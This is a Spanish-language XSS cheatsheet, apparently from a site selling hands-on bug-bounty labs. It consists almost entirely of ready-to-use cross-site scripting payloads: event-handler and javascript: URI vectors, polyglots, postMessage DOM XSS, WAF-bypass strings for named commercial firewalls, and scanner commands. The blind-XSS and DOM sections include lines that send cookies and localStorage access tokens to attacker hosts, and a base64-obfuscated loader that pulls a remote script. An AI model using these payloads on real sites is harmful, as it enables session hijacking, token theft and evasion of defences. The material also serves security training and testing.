Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet XSS

Cross-Site Scripting

Referencia rápida

  • Siempre probar <svg onload=alert(1)> como primer vector - funciona en la mayoria de contextos
  • Si alert() esta bloqueado en iframes cross-origin (Chrome 92+), usar print() como alternativa
  • Los event handlers como onfocus+autofocus no requieren interaccion del usuario
  • Para blind XSS, inyectar payloads en campos que puedan ser vistos por admins: tickets de soporte, formularios de contacto, user-agent
  • Probar siempre payloads sin event handlers usando javascript: URI en href, action y formaction

Payloads basicos

Script clasico

'"><script>alert(document.cookie)</script>

IMG onerror

"><img src=1 onerror="alert('XSS')">

SVG onload

<svg onload=alert(document.domain)>

Iframe srcdoc

<iframe srcdoc='<script>alert(1)</script>'>

Input autofocus

<input onfocus=alert(1) autofocus>

Details ontoggle

<details open ontoggle=alert(1)>

Body onload

<body onload=alert(1)>

Marquee onstart

<marquee onstart=alert(1)>

Event handlers sin interaccion

Autofocus universalCasi todos los elementos soportan autofocus en navegadores modernos

<xss onfocus=alert(1) autofocus tabindex=1>

Video onerror

<video src=x onerror=alert(1)>

Audio onerror

<audio src=x onerror=alert(1)>

Transition event sin styleChrome aplica outline por defecto a elementos focusables

<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>

Object data

<object data=javascript:alert(1)>

SVG use con data URI

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />

Sin event handlers (javascript: URI)

Anchor href

<a href=javascript:alert(1)>click

Form action

<form action=javascript:alert(1)><input type=submit>

Button formaction

<form><button formaction=javascript:alert(1)>click

Math href

<math><brute href=javascript:alert(1)>click

Iframe srcdoc encoded

<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>

SVG xlink:href

<svg><script xlink:href=data:,alert(1)></script>

Blind XSS

Script externo (xss.report)

"><script src=https://your.xss.report/payload></script>

IMG fetch cookies

"><img src=x onerror="fetch('https://your.xss.report/?c='+document.cookie)">

Base64 evalPayload codificado en base64 dentro del atributo id

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL004U1pUOCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs&#61; onerror=eval(atob(this.id))>

JS.rip callback

"><script src="https://js.rip/l5j9hbki0b"></script>

Polyglots

Polyglot universal

jaVasCript:/*-/*`/*\'`/*"/**/(/* */oNcliCk=alert() )//%%0teleD/teleD/oN/teleN/on/teleN/on/oN/teleN/teleD//on//%0e%0e%0e%0e//oN\teleN\oN\

Cierre de contextos multiple

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

Escape de script y style

'"--></style></script><script>alert(1)</script>

Polyglot click/alert

" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//

Multi-contexto

javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*

DOM XSS y tecnicas avanzadas

postMessage innerHTMLCuando el handler usa innerHTML con e.data sin sanitizar

<iframe src="https://target.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

Swagger-UI DOM XSSSwagger UI acepta configUrl/url como parametro

?configUrl=https://attacker.surge.sh/test.json

Cookie exfiltration via fetch

<script>fetch('https://attacker.com/?c='+document.cookie)</script>

localStorage exfiltration

<script>new Image().src='https://attacker.com/?t='+localStorage.getItem('access_token');</script>

Funciones sin parentesis (tagged template)Chrome 92+ bloquea alert en iframes cross-domain, usar print() como alternativa

alert`1337`

Sort call sin parentesis

[].sort.call`${alert}1337`

Bypass de WAF

WAFTécnicaPayload
Cloudflare
HTML entities en SVG
<svg onload=alert&#40;1&#41;>
Imperva Incapsula
Tab en atributo + unicode
"><style/onload&nbsp;co\u006efirm()></style>
Akamai
Unicode escape en handler
<img src=x onerror=\u0061lert(1)>
ModSecurity
Null byte insertion
<img src=x onerror=alert(1)%00>
F5 Big IP
onwheel event
<body style="height:1000px" onwheel="alert(1)">
Generic
Base64 + atob con backticks
<img src=x onerror=location=atob`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4p`>

Herramientas

Dalfox

Scanner XSS automatizado con soporte para blind XSS y bypass de WAF

dalfox url "https://target.com/?q=test" --blind https://your.xss.report

XSStrike

Fuzzer XSS avanzado con analisis de contexto y generacion de payloads

python3 xsstrike.py -u "https://target.com/?q=test" --crawl

kxss

Filtra URLs con parametros reflejados potencialmente vulnerables a XSS

echo "https://target.com" | gau | kxss

DOM Invader

Extension de Burp para detectar DOM XSS, postMessage y prototype pollution

Activar en Burp Suite > Embedded Browser > DOM Invader

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica